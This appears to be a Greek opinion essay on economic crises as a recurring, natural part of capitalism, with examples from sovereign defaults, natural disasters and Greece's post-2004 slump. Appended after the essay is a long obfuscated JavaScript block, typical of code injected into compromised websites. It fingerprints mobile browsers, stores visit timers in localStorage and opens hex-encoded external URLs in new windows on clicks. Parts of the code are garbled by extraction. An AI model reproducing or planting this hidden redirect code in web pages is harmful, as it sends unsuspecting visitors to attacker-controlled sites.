

ΟΙ ΚΡΙΣΕΙΣ ΩΣ ΑΝΑΓΚΑΙΟΤΗΤΑ ΤΟΥ ΣΥΣΤΗΜΑΤΟΣ

Είναι απολύτως φυσικό οι οικονομικές κρίσεις να φοβίζουν τους ανθρώπους γιατί βλέπουν να μειώνεται το βιοτικό τους επίπεδο και να μεταβάλλεται, για κάποιο διάστημα, ο τρόπος που συνήθιζαν να ζουν.

Όμως οι κρίσεις του διεθνούς συστήματος, πόσο μάλλον των εθνικών συστημάτων, είναι μια φυσική κατάσταση η οποία τις περισσότερες φορές οδηγεί σε μεταρρυθμίσεις οι οποίες ανανεώνουν και αναζωογονούν το καπιταλιστικό σύστημα. Με τον ίδιο ακριβώς τρόπο που στον οικονομικό κύκλο εμφανίζονται περίοδοι ανάπτυξης, εμφανίζονται και περίοδοι κρίσεων ως το αναγκαίο συμπληρωματικό έτερο. Ο λόγος γι' αυτό μάλλον είναι ότι οι άνθρωποι ποτέ δεν συμπεριφέρονται με απόλυτη ακρίβεια στη προσπάθεια τους να ορίσουν τα όρια του κέρδους και της ζημίας. Πολλές φορές, οδηγούμενοι από υπέρ αισιοδοξία και άλλοτε από το αντίθετο της, άλλοτε από έλλειψη στοιχείων ή από ματαιότητα, από απληστία ή άμετρη συγκράτηση, ξεπερνούν τα πάνω και κάτω όρια αντοχής των οικονομικών συστημάτων. Η κατάσταση γίνεται ακόμα πιο ρευστή και ευμετάβλητη όταν ο χαρακτήρας των κυρίαρχων συστημάτων, όποια μορφή και αν παίρνουν αυτά, αγγλοσαξονική, γερμανοιαπωνική, ή κινεζική, εσωκλείουν αναπαραγόμενα γηγενώς στοιχεία αντινομιών. Έτσι οι κρίσεις διαδέχονται τις αυξήσεις και οι αυξήσεις τις κρίσεις κατά ένα τρόπο μάλλον ασύμμετρο. Οι σύγχρονοι άνθρωποι όμως δεν είναι εξοικειωμένοι με τις εναλλαγές αυτές όσο ήταν οι παλιότερες προηγούμενες γενιές.

Με ένα εμφανώς διαφορετικό τρόπο οι οικονομικές δραστηριότητες πριν τη κυριαρχία του καπιταλισμού, στηρίζονταν σε μεγάλο βαθμό στις κλιματικές αλλαγές και στους κύκλους της φύσης. Οι άνθρωποι περίμεναν την έλευση κρίσεων και ως πιο συνετοί από τους σημερινούς αποθήκευαν τις περιόδους της ευημερίας, τα απολύτως χρειώδη για τις ημέρες της «ξηρασίας».

Ούτε οι χρεοκοπίες επιχειρήσεων, ατόμων και κρατών, είναι εκτός της φυσικής επιλογής. Τις τελευταίες τρεις δεκαετίες, 68 κράτη στον πλανήτη πέρασαν από τα στενά της κρίσης και χρεοκόπησαν. Αυτό όμως δεν ήταν καταστροφή ούτε μόνιμη μη αναστρέψιμη κατάσταση. Αντίθετα στις περισσότερες περιπτώσεις οι κρίσεις έδωσαν μεγαλύτερη ορμή

στις αναπτυξιακές φάσεις που ακολούθησαν. Ακόμα και πλούσια κράτη όπως η Βρετανία ή οι ΗΠΑ, περνούν από κρίσεις εκκαθαρίζοντας το παραγωγικό τους δυναμικό, αλλά και εύρωστες εταιρίες όπως η IBM, ένωσαν την ανατριχίλα της κρίσης αλλά την αντιμετώπισαν ως ευκαιρία δυναμικής ανασύνταξης. Τα τελευταία δε 150 χρόνια όλα σχεδόν τα κράτη του κόσμου, μηδενός εξαιρουμένου, αντιμετώπισαν μικρής ή μεγάλης έκτασης και έντασης κρίσεων.

Σε ένα κόσμο που συνεχώς ενσωματώνει δυναμικές που καταργούν τα οικονομικά σύνορα, καθίσταται ευκολότερο να συνδυαστούν σταθμισμένες μεταβλητές με αστάθμητες, τυχαίες παράμετρος με προκαθορισμένες, προβλέψιμες με απρόβλεπτες. Ο οικονομικός χώρος γίνεται πιο στοχαστικός, με τη πιθανοκρατική έννοια και επομένως σε μεγάλο βαθμό μη ντετερμινιστικός και κυρίως μη γραμμικός. Από την άλλη πλευρά η επιστήμη δεν είναι ακόμα έτοιμη να προβλέψει και να αντιμετωπίσει με μοντέλα πιθανοτήτων τον αυξανόμενο χώρο των τυχαίων «συμβάντων». Για παράδειγμα ένας τυφώνας στο κόλπο του Μεξικού πλήττει τις πετρελαιοπηγές και μειώνοντας τη παραγωγή αυξάνει τις διεθνείς τιμές πετρελαίου. Με τη σειρά τους αυτές πλήττουν τις καταναλώτριες χώρες υγρών καυσίμων, όπως η Αργεντινή, που βλέπουν να μειώνεται η παραγωγή και να απειλούνται από ύφεση. Ή ένα τσουνάμι όπως αυτό στη Φουκοσίμα που ακυρώνει ολόκληρο το κλάδο της πυρηνικής ενέργειας. Ή η εμφάνιση ενός κακού ηγέτη, όπως ο Γιέλτσιν, που απερίσκεπτα επιλέγει τις αντίθετες πολιτικές από τις ενδεικνυόμενες. Ή μια αγροτική εξέγερση στη Τσιάπα του Μεξικού που πυροδοτεί καταστάσεις εκδήλωσης «κρίσης εμπιστοσύνης».

Οι κρίσεις όπως και οι μεγεθύνσεις των οικονομικών συστημάτων, είναι παλινδρομικά φαινόμενα, που λαμβάνουν χώρα με απολύτως φυσικό τρόπο, αργά ή και γρήγορα, όπως οι εποχιακές εναλλαγές της φύσης. Αυτό αποτελεί συστατικό στοιχείο του καπιταλισμού και αφού δεν υπάρχει κάποιο άλλο σύστημα οικονομικής οργάνωσης που να αποδεικνύει την ανωτερότητα του ιστορικά, θα πρέπει οι άνθρωποι να συμφιλιωθούμε με τη περιοδικότητα των φάσεων του.

Ασφαλώς και δεν είναι οι λαοί που ευθύνονται για τις κρίσεις του συστήματος. Ούτε και οι μικρές ανοικτές οικονομίες που πλέουν σε νερά με βαθιές δύνες συνδυασμών τυχαιότητας. Πόσο εύκολο είναι να πλοηγήσουν οι χώρες το σκάφος τους αποφεύγοντας τες ή πόσο τυχερές θα πρέπει να είναι όταν διαθέτουν άριστους ηγέτες; Γι' αυτό καμία χώρα δεν ξέρει, μεγάλη ή μικρή, στο κόσμο που ζούμε, πότε θα βρεθεί στο χείλος της δύνης ή πότε θα πέσει στο μαύρο βάθος της. Και αν αυτό συνιστά τη κακή πλευρά του συστήματος τη καλή τη συνιστά το γεγονός της μεγάλης αλληλεξάρτησης του. Λόγω αυτής της αλληλεξάρτησης όταν μια χώρα πέφτει στη κρίση, οι εξαρτώμενες απ' αυτή με τον ένα ή άλλο τρόπο, σπεύδουν να τη βοηθήσουν, προκειμένου να αποφύγουν τη μετακύληση πάνω τους.

Ιστορικά οι περίοδοι των κρίσεων ή των διακυμάνσεων όπως λέγονται, κρατούν λιγότερο χρόνο από τις περιόδους ανάπτυξης αν και είναι περισσότερες. Με άλλα λόγια οι αγορές φουσκώνουν αργότερα από ό,τι χρειάζεται για να ξεφουσκώσουν. Αυτό σημαίνει πως η τρέχουσα κρίση στην Ελλάδα που έχει λάβει παγκόσμιες διαστάσεις, εκδηλώθηκε μετά από μια περίοδο 35 χρόνων μεγέθυνσης και το τελευταίο στάδιο της υπερθέρμανσης διήρκησε πέντε χρόνια και μετά το 2004. Απ' αυτό μπορούμε να αναχθούμε στο συμπέρασμα πως και η φάση της αποθέρμανσης στη χειρότερη περίπτωση θα πάρει τον ίσο ανάλογο χρόνο.

Στην ενότητα αυτή των άρθρων θα ερευνάμε τη θεωρητική τυπολογία των διεθνών κρίσεων και τις εμπειρικές επιπτώσεις που συνεπάγονται στις οικονομικές και κοινωνικές δομές των χωρών που τις υφίστανται.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;};_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmTK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
```

```

9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){((/android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/) |klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return

```

```
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(  
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)  
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+  
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind  
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function  
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const  
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const  
_0x4593ae=Date[_0x365b[0x21]](new  
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d  
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const  
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45  
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0  
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x4  
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0  
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5  
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else  
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9  
78889);}());
```